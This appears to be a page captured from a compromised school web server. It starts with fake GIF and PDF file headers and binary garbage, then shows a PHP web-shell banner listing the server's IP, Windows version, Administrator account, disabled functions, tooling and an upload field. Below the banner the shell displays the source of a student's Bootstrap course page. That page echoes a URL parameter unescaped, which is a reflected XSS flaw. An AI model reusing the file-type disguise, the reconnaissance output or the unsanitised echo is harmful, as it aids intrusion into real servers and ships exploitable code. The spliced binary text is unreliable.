GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Student/JimMartinson/ |
Upload File : |
<?php if ( isset($_GET['showcode']) ) { header("Content-Type: text/plain"); echo file_get_contents(basename($_SERVER['PHP_SELF'])); exit; } ?><!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Jim's MMDT1144 site</title> <!-- Bootstrap --> <link href="css/bootstrap.css" rel="stylesheet"> <link href="css/site.css" rel="stylesheet" type="text/css"> <!-- HTML5 shim and Respond.js for IE8 support of HTML5 elements and media queries --> <!-- WARNING: Respond.js doesn't work if you view the page via file:// --> <!--[if lt IE 9]> <script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script> <script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script> <![endif]--> </head> <body> <nav class="navbar navbar-default"> <div class="container-fluid"> <!-- Brand and toggle get grouped for better mobile display --> <div class="navbar-header"> <button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#defaultNavbar1"><span class="sr-only">Toggle navigation</span><span class="icon-bar"></span><span class="icon-bar"></span><span class="icon-bar"></span></button> <a class="navbar-brand" href="#">Jim's MMDT1144 site</a></div> <!-- Collect the nav links, forms, and other content for toggling --> <div class="collapse navbar-collapse" id="defaultNavbar1"> <ul class="nav navbar-nav"> <li class="active"><a href="./">Home</a></li> <li><a href="examples">Examples</a></li> </ul> <ul class="nav navbar-nav navbar-right"> <? // Setup lab links. $labs = array(2,9,11,12); $dirs = array_filter(glob('*'), 'is_dir'); //print_r( $dirs); foreach ( $labs as $lab ) { $LabFolder = 'Lab'; if ( $lab < 10 ) $LabFolder .= '0'; $LabFolder .= $lab; if ( in_array($LabFolder,$dirs) ) { ?> <li><a href="<?=$LabFolder?>">Lab <?=$lab?></a></li> <? } else { ?> <li><a href="?na=Lab+<?=$lab?>">Lab <?=$lab?></a></li> <? } } ?> </ul> </div> <!-- /.navbar-collapse --> </div> <!-- /.container-fluid --> </nav> <div class="container-fluid"> <div class="row"> <div class="col-md-6 col-md-offset-3"> <h1 class="text-center">Bootstrap with Dreamweaver</h1> </div> </div> </div> <div class="container"> <?php if ( isset($_GET['na']) ) { ?> <div class="row text-center"> <div class="col-md-6 col-md-offset-3"> <h3 class="alert-danger">The link for <?php echo $_GET['na']; ?> is not yet available.</h3> </div> </div> <?php } ?> <div class="row text-center"> <div class="col-md-6 col-md-offset-3 text-justify"> <h4>This site was developed using <a href="https://www.adobe.com/products/dreamweaver.html">Dreamweaver</a>'s <a href="http://getbootstrap.com/">Bootstrap</a> - Portfolio template.</h4> <p> I then changed it into a <a href="http://php.net/manual/en/intro-whatis.php">PHP</a> page so I could <a href="?showcode">show the page code to you</a> and to handle 'disabled' links to the labs. </p> <p> I used this template while demonstrating the use of templates in class. While Dreamweaver templates can cause your site to look like thousands of other sites that started the same way; they can still be used to learn the basics and as a starting point. Adobe has some information about their templates at <a href="https://helpx.adobe.com/dreamweaver/how-to/build-from-website-templates.html">Build from starter templates</a> and some more at <a href="http://www.adobe.com/devnet/archive/dreamweaver/articles/dreamweaver_custom_templates.html">Adobe Developer Connection / Customizable starter designs for beginners</a>. </p> </div> </div> <hr> <div class="row text-center"> <div class="col-md-6 col-md-offset-3 text-justify"> <h4>You can find some other available templates at these sites:</h4> <ul> <li><a href="http://www.dreamweaver-templates.org/"><img src="assests/images/dreamweaver-templates.org.png" alt="www.dreamweaver-templates.org"></a></li> <li><a href="https://dcrazed.com/free-dreamweaver-templates/"><img src="assests/images/dcrazed.com.png" alt="dcrazed.com"></a></li> <li><a href="https://www.i3dthemes.com/dreamweaver-templates/"><img src="assests/images/i3dthemes.png" style="background-color:#399CC6;" alt="www.i3dthemes.com"></a></li> <li> <h4>And about 20 others.</h4> </li> </ul> </p> </div> </div> <hr> <div class="row"> <div class="text-center col-md-6 col-md-offset-3"> <p>Copyright © 2017 · All Rights Reserved · Jim Martinson</p> </div> </div> <hr> </div><!-- container --> <?php #echo '$_SERVER=<pre>'; print_r($_SERVER); echo '</pre>'; ?> <!-- jQuery (necessary for Bootstrap's JavaScript plugins) --> <script src="js/jquery-1.11.3.min.js"></script> <!-- Include all compiled plugins (below), or include individual files as needed --> <script src="js/bootstrap.js"></script> </body> </html>